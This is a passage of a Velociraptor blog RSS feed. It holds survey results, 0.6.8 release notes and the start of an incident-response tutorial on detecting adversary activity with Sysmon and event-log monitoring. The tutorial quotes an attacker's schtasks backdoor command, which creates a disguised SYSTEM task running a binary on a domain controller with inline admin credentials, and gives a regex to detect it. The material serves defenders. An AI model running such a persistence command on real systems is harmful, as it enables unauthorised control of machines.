deploy to less than 5,000 endpoints.&lt;/p&gt;&#xA;&lt;p&gt;Approximately 10% of users have deployment sizes larger than 25,000&#xA;endpoints with 2% of users over 100,000 endpoints.&lt;/p&gt;&#xA;&lt;h2 id=&#34;popular-operating-systems&#34;&gt;Popular operating systems&lt;/h2&gt;&#xA;&lt;p&gt;Among Velociraptor&amp;rsquo;s supported operating systems, Windows 64-bit, is&#xA;the most popular (with 82% of users ranking it the most deployed OS&#xA;type), while Linux is the next most popular deployed endpoint OS (26%&#xA;ranked second, and 48% third). Finally, Mac is the third popular choice&#xA;for Velociraptor&amp;rsquo;s users, with 32-bit Windows systems still very&#xA;prevalent.&lt;/p&gt;&#xA;&lt;h2 id=&#34;resources-and-references&#34;&gt;Resources and references&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s web site at &lt;a href=&#34;https://www.velociraptor-docs.org/&#34;&gt;https://docs.velociraptor.app/&lt;/a&gt; contains a&#xA;wealth of reference material, training courses and presentations. We&#xA;also have an active YouTube channel (&lt;a href=&#34;https://www.youtube.com/@velocidexenterprises8702&#34; target=&#34;_blank&#34; &gt;https://www.youtube.com/@velocidexenterprises8702&lt;/a&gt;) with many instructional videos.&lt;/p&gt;&#xA;&lt;p&gt;While some users ranked the website as &lt;code&gt;Extremely Useful&lt;/code&gt; (25%) there&#xA;is clearly room for improvements with 42% of users only rating it as&#xA;&lt;code&gt;Very Useful&lt;/code&gt; or &lt;code&gt;Moderately Useful&lt;/code&gt; (28%).&lt;/p&gt;&#xA;&lt;p&gt;Suggestions for improvements included:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;More in-depth YouTube videos breaking down the tool&amp;rsquo;s features with&#xA;workflows.&lt;/li&gt;&#xA;&lt;li&gt;More detailed &amp;ldquo;how to&amp;rdquo; with practical examples.&lt;/li&gt;&#xA;&lt;li&gt;Improved documentation about functions and plugins with a&#xA;slightly more detailed explanation and a small example.&lt;/li&gt;&#xA;&lt;li&gt;Documents seem to be outdated, would like to see updates to the&#xA;documentation to reflect the new versions and features.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;testimonials&#34;&gt;Testimonials&lt;/h2&gt;&#xA;&lt;p&gt;Finally I wanted to share with you some of the testimonials that users&#xA;wrote in the survey. We are humbled with the encouraging and positive&#xA;words we read, and are excited to be making an impact on the DFIR&#xA;field.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I have to congratulate you and thank you for developing such an&#xA;amazing tool. It&amp;rsquo;s the future of DFIR. I hope Rapid7 won&amp;rsquo;t make it&#xA;very expensive in the future.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Awesome product, can&amp;rsquo;t wait to use it in prod!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;This is a game changer for the DFIR industry. Keep up the great work.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Keep the file system based back end, its simplicity makes chain of&#xA;custody/court submissions possible.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I thoroughly love Velociraptor. The team and community are absolutely&#xA;fantastic. I would go as far as to say that Mike and Matthew Green&#xA;are my favorite infosec gentlemen in the industry.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Y&amp;rsquo;all are awesome. I feel like I was pretty critical but that&amp;rsquo;s&#xA;because this is an amazing software, and want to see it continue to&#xA;grow and improve.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We have been deploying Velociraptor to client environments almost&#xA;since it was released. Our DFIR business model is entirely centered&#xA;around it and it works very well for us. It is a great solution that&#xA;just keeps getting better and better&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;This is our first Velociraptor community survey, and it has proven to&#xA;be extremely useful. Since Velociraptor is a community-led open source&#xA;project, we need an open feedback loop to our users, to understand&#xA;where things need to be improved and what features should be&#xA;prioritized.&lt;/p&gt;&#xA;&lt;p&gt;At the same time, since Velociraptor is an open source project, I hope&#xA;this survey will inspire contributions from the community. We value&#xA;all contributions, from code to documentation, testing and bug reports.&lt;/p&gt;&#xA;&lt;p&gt;Finally for all our US based users, we hope to see you all in person&#xA;at &lt;a href=&#34;https://www.blackhat.com/us-23/training/schedule/#digging-deeper-with-velociraptor-30129&#34; target=&#34;_blank&#34; &gt;BlackHat 2023&lt;/a&gt; this year! Join us for an in depth Velociraptor&#xA;training and to geek out with VQL for 4 days, learning practical,&#xA;actionable skills and supporting this open source project.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.8 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8/</link>
      <pubDate>Mon, 13 Feb 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release 0.6.8 is&#xA;now live. This release has been in the making for a&#xA;few months now and has a lot of new features and bug fixes.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;performance-improvements&#34;&gt;Performance improvements&lt;/h2&gt;&#xA;&lt;p&gt;A big theme in the 0.6.8 release was about performance improvement,&#xA;making Velociraptor faster, more efficient and more scalable (even&#xA;more so than it currently is!).&lt;/p&gt;&#xA;&lt;h3 id=&#34;new-client-server-communication-protocol&#34;&gt;New client-server communication protocol&lt;/h3&gt;&#xA;&lt;p&gt;When collecting artifacts from endpoints we need to maintain a&#xA;collection state (e.g. how many bytes were transferred?, how many rows?&#xA;was the collection successful? etc). Previously tracking the&#xA;collection was the task of the server, but this extra processing on&#xA;the server limited the total number of collections the server could&#xA;process.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.6.8 release a new communication protocol was added to offload&#xA;a lot of the collection tracking to the client itself. This lowers the&#xA;amount of work on the server and therefore allows more collections to&#xA;be processed by the server at the same time.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Support for older clients &#34;&gt;&lt;p&gt;To maintain support with older clients, the server continues to use&#xA;the older communication protocol with them - but will achieve the most&#xA;improvement in performance once the newer clients are deployed.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;new-virtual-file-system-gui&#34;&gt;New Virtual File System GUI&lt;/h3&gt;&#xA;&lt;p&gt;The VFS feature in Velociraptor allows users to interactively inspect&#xA;directories and files on the endpoint, in an familiar tree user&#xA;interface. The previous VFS view would store the entire directory&#xA;listing in a single table for each directory. For very large&#xA;directories like &lt;code&gt;C:\Windows&lt;/code&gt; or &lt;code&gt;C:\Windows\System32&lt;/code&gt; (which&#xA;typically have thousands of files) this would strain the browser&#xA;leading to unusable UI.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release, the VFS GUI uses the familiar paged table and&#xA;syncs this directory listing in a more efficient way. This improves&#xA;performance significantly: for example, it is now possible and&#xA;reasonable to perform a recursive directory sync on &lt;code&gt;C:\Windows&lt;/code&gt;, on&#xA;my system syncs over 250k files in less than 90 seconds.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8//blog/2023/2023-02-13-release-notes-0.6.8/vfs_system32.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting a large directory is faster with paging tables.&#34;&#xA;         width=&#34;1913&#34; height=&#34;897&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;vfs_system32.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting a large directory is faster with paging tables.&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since the VFS is now using the familiar paging table UI, it is also&#xA;possible to filter, sort on any column using the same familiar UI.&lt;/p&gt;&#xA;&lt;h3 id=&#34;faster-export-functionality&#34;&gt;Faster export functionality&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor hunts and collections can be exported to a ZIP file for&#xA;easy consumption in other tools. The 0.6.8 release improved the export&#xA;code to make it much faster. Additionally the GUI was improved to show&#xA;how many files were exported into the zip, and other statistics.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8//blog/2023/2023-02-13-release-notes-0.6.8/export_collection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Exporting collections is much faster!&#34;&#xA;         width=&#34;1900&#34; height=&#34;874&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;export_collection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Exporting collections is much faster!&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;tracing-capability-on-client-collections&#34;&gt;Tracing capability on client collections&lt;/h3&gt;&#xA;&lt;p&gt;We often get questions about what happened to a collection that seems&#xA;to be hung? It is difficult to know why a collection seems to be&#xA;unresponsive or stopped - it could mean the client was killed for some&#xA;reason, (e.g. due to excessive memory use or a timeout).&lt;/p&gt;&#xA;&lt;p&gt;Previously the only way to gather client side information was to&#xA;collect a &lt;code&gt;Generic.Client.Profile&lt;/code&gt; collection. This required running&#xA;it at just the right time and did not guarantee that we would get&#xA;helpful insight of what the query and the client binary were doing&#xA;during the operation in question.&lt;/p&gt;&#xA;&lt;p&gt;In the latest release it is possible to specify a trace on any&#xA;collection to automatically collect client side state as the&#xA;collection is progressing.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8//blog/2023/2023-02-13-release-notes-0.6.8/trace.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Enabling trace on every collection increases visibility&#34;&#xA;         width=&#34;1528&#34; height=&#34;887&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;trace.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Enabling trace on every collection increases visibility&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8//blog/2023/2023-02-13-release-notes-0.6.8/trace_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Trace files contain debugging information&#34;&#xA;         width=&#34;1908&#34; height=&#34;783&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;trace_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Trace files contain debugging information&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;vql-improvement---disk-based-materialize-operator&#34;&gt;VQL improvement - disk based materialize operator&lt;/h2&gt;&#xA;&lt;p&gt;The VQL &lt;code&gt;LET ... &amp;lt;= &lt;/code&gt; operator is called the &lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/fundamentals/#materialized-let-expressions&#34;&gt;materializing LET&#xA;operator&lt;/a&gt;&#xA;because it expands the following query into a memory array which can&#xA;be accessed cheaply multiple times.&lt;/p&gt;&#xA;&lt;p&gt;While this is useful for small queries, it has proved dangerous in&#xA;some cases, because users inadvertently attempted to materialize a&#xA;very large query (e.g. a large &lt;code&gt;glob()&lt;/code&gt; operation) dramatically&#xA;increasing memory use. For example, the following query could cause&#xA;problems in earlier versions.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET X &amp;lt;= SELECT * FROM glob(globs=specs.Glob, accessor=Accessor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the latest release the VQL engine was improved to support a temp&#xA;file based materialized operator. If the materialized query exceeds a&#xA;reasonable level (by default 1000 rows), the engine will automatically&#xA;switch away from memory based storage into file backed&#xA;storage. Although file based storage is slower, memory usage is more&#xA;controlled.&lt;/p&gt;&#xA;&lt;p&gt;Ideally the VQL is rewritten to avoid this type of operation, but&#xA;sometimes it is unavoidable, and in this case, file based materialize&#xA;operations are essential to maintain stability and acceptable memory&#xA;consumption.&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-msi-deployment-option&#34;&gt;New MSI deployment option&lt;/h2&gt;&#xA;&lt;p&gt;On Windows the recommended way to install Velociraptor is via an MSI&#xA;package. The MSI package allows the software to be properly installed&#xA;and uninstalled and it is also compatible with standard Windows&#xA;software management procedures.&lt;/p&gt;&#xA;&lt;p&gt;Previously however, building the MSI requires using the WIX toolkit -&#xA;a Windows only MSI builder which is difficult to run on other&#xA;platforms. Operationally building with WIX complicates deployment&#xA;procedures and requires using a complex release platform.&lt;/p&gt;&#xA;&lt;p&gt;In the 0.6.8 release, a new method for &lt;code&gt;repacking&lt;/code&gt; the official MSI&#xA;package is now recommended. This can be done on any operating system&#xA;and does not require WIX installed. Simply embed the client&#xA;configuration file in the officially distributed MSI packages using&#xA;the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;velociraptor-v0.6.8-rc1-linux-amd64 config repack --exe velociraptor-v0.6.8-rc1-windows-amd64.msi client.config.yaml output.msi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-02-13-release-notes-0.6.8//blog/2023/2023-02-13-release-notes-0.6.8/repacking.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Repacking an MSI for windows distribution&#34;&#xA;         width=&#34;1464&#34; height=&#34;457&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;repacking.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Repacking an MSI for windows distribution&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest&#xA;release. Currently the release is in testing for the next few weeks,&#xA;so please test widely and provide feedback by opening GitHub issues.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Tracking an adversary in real-time using Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime/</link>
      <pubDate>Mon, 09 Jan 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime/</guid>
      <description>&lt;p&gt;As an incident responder that is fighting an adversary, you typically&#xA;want to be alerted the moment they conduct hands-on-keyboard activity&#xA;on systems of the IT-infrastructure that you are investigating. This&#xA;blog post shows you two practical examples on how to achieve this with&#xA;Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;While detection is not the most typical use-case of Velociraptor, it&#xA;can be used for that. And to me it has proven to be valuable during&#xA;engagements when the deployed Endpoint Detection and Response (EDR)&#xA;solution lacked certain detection capabilities, or when it was not&#xA;deployed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;example-1-track-commands&#34;&gt;Example 1: Track commands&lt;/h2&gt;&#xA;&lt;p&gt;Adversaries often use commands to conduct their malicious&#xA;activity. Receiving an alert when these commands are launched is very&#xA;valuable as it allows you to respond quickly.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s say you observed that the adversary planted a backdoor on a&#xA;remote system using the following scheduled task command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;schtasks /Create /SC minute /mo 5 /TN WindowsUpdateCheck /TR C:/Perflog/m.exe&amp;quot; /ru system /s srv_dc01 /u adm_peter /p adminpw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using Velociraptor in combination with the system monitoring tool&#xA;&amp;lsquo;Sysmon&amp;rsquo; you’re able to build detection. There is no need to manually&#xA;install Sysmon, if you follow the steps below it will do it for you.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the GUI of the Velociraptor server.&lt;/li&gt;&#xA;&lt;li&gt;Select a random client.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;440&#34; height=&#34;203&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Go the ‘Client Events’ menu and choose &amp;lsquo;Update the client monitoring table&amp;rsquo;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;372&#34; height=&#34;499&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Select the label group, and go to the next window ‘Select&#xA;Artifacts’&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Select the artifact &lt;code&gt;Windows.Detection.ProcessCreation&lt;/code&gt;. Optional:&#xA;if you want to deploy a custom Sysmon config choose &lt;code&gt;SysmonConfig&lt;/code&gt;&#xA;and select it. By default, it selects this config:&#xA;&lt;a href=&#34;https://github.com/SwiftOnSecurity/sysmon-config&#34; target=&#34;_blank&#34; &gt;https://github.com/SwiftOnSecurity/sysmon-config&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/12.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1411&#34; height=&#34;584&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/12.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;5&#34;&gt;&#xA;&lt;li&gt;Adjust the parameters. Below I provided an example of how to&#xA;detect the scheduled task command.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1767&#34; height=&#34;903&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The regex I used matches specific parameters in the scheduled task&#xA;command.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(?:(\/ru)|(\/p)|(\/s))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the advantage of starting the regex with &lt;code&gt;(?:&lt;/code&gt; and combining it&#xA;with capture groups &lt;code&gt;()&lt;/code&gt; with pipes &lt;code&gt;|&lt;/code&gt; between them, is that the&#xA;order does not matter. Meaning that even if the adversary shifts some&#xA;parameters in the command, the detection still works.&lt;/p&gt;&#xA;&lt;p&gt;Another way that I used to make it a bit harder for the adversary to&#xA;evade detection, is to filter on the PE Original FileName instead of&#xA;the Image name. This way detection still works even if the adversary&#xA;changes the filename of the binary (in the figure above you see that&#xA;&lt;code&gt;lolbin.exe&lt;/code&gt; was renamed from &lt;code&gt;schtasks.exe&lt;/code&gt;). Note that detecting on the&#xA;PE Original Filename will not work anymore if the adversary modified&#xA;the PE header and changed the original filename - which can be done&#xA;with a HEX editor, for example.&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-sysmon&#34;&gt;Why Sysmon?&lt;/h3&gt;&#xA;&lt;p&gt;The artifact shown in this example installs &lt;code&gt;Sysmon&lt;/code&gt;. The reason I&#xA;used Sysmon is that it logs process creation events without failing,&#xA;even when it is a short-lived process. Missed events result in&#xA;unreliable detection.&lt;/p&gt;&#xA;&lt;p&gt;An alternative to Sysmon was consuming process-related events directly&#xA;from Event Tracing for Windows (ETW). ETW is a mechanism that&#xA;Microsoft built for troubleshooting and diagnostics, and it provides&#xA;an enormous amount of events generated by the OS. The process-related&#xA;events are generated by the ETW provider&#xA;&lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; that has the guid&#xA;&lt;code&gt;{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}&lt;/code&gt;. My testing with this&#xA;provider resulted in a lot of missed events by Velociraptor (possibly&#xA;due to the high-volume). And also, short-lived processes could not be&#xA;enriched with commandline parameters. That is because these parameters&#xA;are not provided by ETW, and enriching with the process running in&#xA;memory sometimes fails as it is shutdown too early.&lt;/p&gt;&#xA;&lt;p&gt;For example, running the following command that lists content of a&#xA;remote drive &lt;code&gt;dir \\10.96.20.20\c$&lt;/code&gt; sometimes only logs &lt;code&gt;dir&lt;/code&gt; because&#xA;enriching failed. And therefore your detection would not work if you&#xA;attempt to match on commandline. Which is something you would want in&#xA;this case, because matching on only &lt;code&gt;dir&lt;/code&gt; would undoubtedly result in&#xA;too many false-positives.&lt;/p&gt;&#xA;&lt;p&gt;Because I wanted reliable detection I chose Sysmon instead of directly&#xA;consuming the process events from the aforementioned ETW provider.&lt;/p&gt;&#xA;&lt;h2 id=&#34;example-2-track-compromised-accounts&#34;&gt;Example 2: Track compromised accounts&lt;/h2&gt;&#xA;&lt;p&gt;The Windows Event Log is a great log source that enables you to track&#xA;adversary activity in real-time. Due to the Event Log tracker of&#xA;Velociraptor, you can easily monitor for new entries.&lt;/p&gt;&#xA;&lt;p&gt;Let’s say the adversary uses the Windows accounts &lt;code&gt;adm_peter&lt;/code&gt; and&#xA;&lt;code&gt;svc_iis&lt;/code&gt; to move laterally through the IT-infrastructure, you can&#xA;monitor for any activity concerning these accounts using the artifact&#xA;&lt;code&gt;Windows.Events.Trackaccount&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To configure this using the GUI of the Velociraptor server, go to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select a random client:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-01-13-tracking-an-adversary-in-realtime//blog/2023/2023-01-13-tracking-an-adversary-in-realtime/images/4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;440&#34; height=&#34;203&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;images/4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Go to ‘Client Events’ in the 